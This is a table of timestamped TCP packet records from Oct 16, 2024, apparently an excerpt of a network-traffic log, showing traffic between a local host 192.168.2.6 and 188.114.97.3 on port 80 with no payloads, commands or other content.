                                                                                    Oct 16, 2024 10:58:21.791944027 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791971922 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791997910 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.792010069 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.792062044 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.792078972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.792092085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.792099953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.792104959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.792131901 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.792145014 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.792246103 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.792267084 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.792279005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.792292118 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.792304993 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.792319059 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.792336941 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.792352915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.792378902 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.792391062 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.824825048 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.824835062 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.824846029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.824898958 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.824918985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.824920893 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.825018883 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.850151062 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.850167036 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.850181103 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.850192070 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.850202084 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.850246906 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.850265980 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.850281954 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.850292921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.850303888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.850331068 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.850341082 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.195890903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.195943117 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.195979118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.195991039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196002007 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196027040 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.196053028 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.196171999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196187019 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196196079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196228981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.196247101 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.196274042 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196317911 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.196423054 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196434021 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196446896 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196465015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196476936 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196489096 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196499109 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196511984 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196521044 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196525097 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196537018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196547985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196554899 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.196554899 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.196554899 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.196554899 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.196635962 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.196635962 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.196810961 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196844101 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196855068 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196865082 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196875095 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196882010 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.196887016 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196899891 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.196906090 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196918964 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196923971 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.196932077 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196937084 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.196944952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196954966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196960926 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.196968079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196980953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.196985960 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197000027 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197011948 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197186947 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197197914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197208881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197220087 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197230101 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197232008 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197242022 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197257042 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197257996 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197271109 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197279930 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197282076 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197289944 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197293997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197307110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197315931 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197319984 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197329998 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197340965 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197345972 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197355032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197365999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197366953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197376966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197380066 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197403908 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197424889 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197427988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197438955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197449923 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197458982 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197478056 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197485924 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197498083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197504044 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197510958 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197520018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197530031 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197540045 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197540998 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197552919 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197556973 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197566986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197580099 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197597027 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197618008 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197632074 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197643995 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197669029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197674990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197685957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197686911 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197695017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197705030 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197715998 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197720051 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197729111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197736979 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197741032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197751999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197761059 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197762966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197773933 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197782040 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197786093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197798014 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197808981 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197808981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197827101 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197843075 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197884083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197895050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197905064 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197915077 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197921038 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197927952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197937012 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197940111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197954893 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197962999 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197973967 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.197983980 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.197998047 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198180914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198189974 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198199987 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198210001 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198216915 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198220968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198234081 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198240995 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198249102 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198261023 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198268890 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198271990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198280096 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198287010 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198297024 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198303938 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198313951 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198323011 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198328018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198338032 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198338032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198350906 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198360920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198362112 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198373079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198384047 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198385000 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198395014 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198399067 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198406935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198417902 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198426008 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198429108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198446035 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198447943 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198460102 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198470116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198487997 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198514938 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198632956 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198642969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198652983 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198663950 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198673964 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198677063 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198684931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198687077 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198698997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198707104 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198714018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198729038 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198738098 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198738098 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198750973 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198765993 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198777914 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198800087 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.198982000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.198991060 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199001074 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199017048 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.199019909 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199028969 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.199034929 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199045897 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.199048042 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199070930 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.199090958 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.199104071 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199117899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199127913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199136972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199150085 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.199150085 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.199177027 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.199177027 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.199204922 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199220896 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199230909 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199239016 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.199242115 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199254990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199263096 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.199263096 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.199265957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199289083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199289083 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.199299097 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.199302912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.199323893 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.199337959 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.200972080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201013088 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201020956 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201034069 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201052904 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201060057 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201066971 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201073885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201106071 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201106071 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201236963 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201246977 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201257944 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201272011 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201296091 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201316118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201327085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201339006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201359987 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201359987 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201376915 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201406002 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201416969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201437950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201438904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201450109 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201452017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201466084 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201478004 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201627970 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201661110 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201699972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201710939 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201720953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201730967 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201745033 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201752901 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201760054 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201762915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201777935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201786041 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201791048 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201817036 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201817036 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201848984 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201868057 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201900005 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.201921940 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201934099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.201963902 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202023983 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202025890 CEST4980280192.168.2.6188.114.97.3
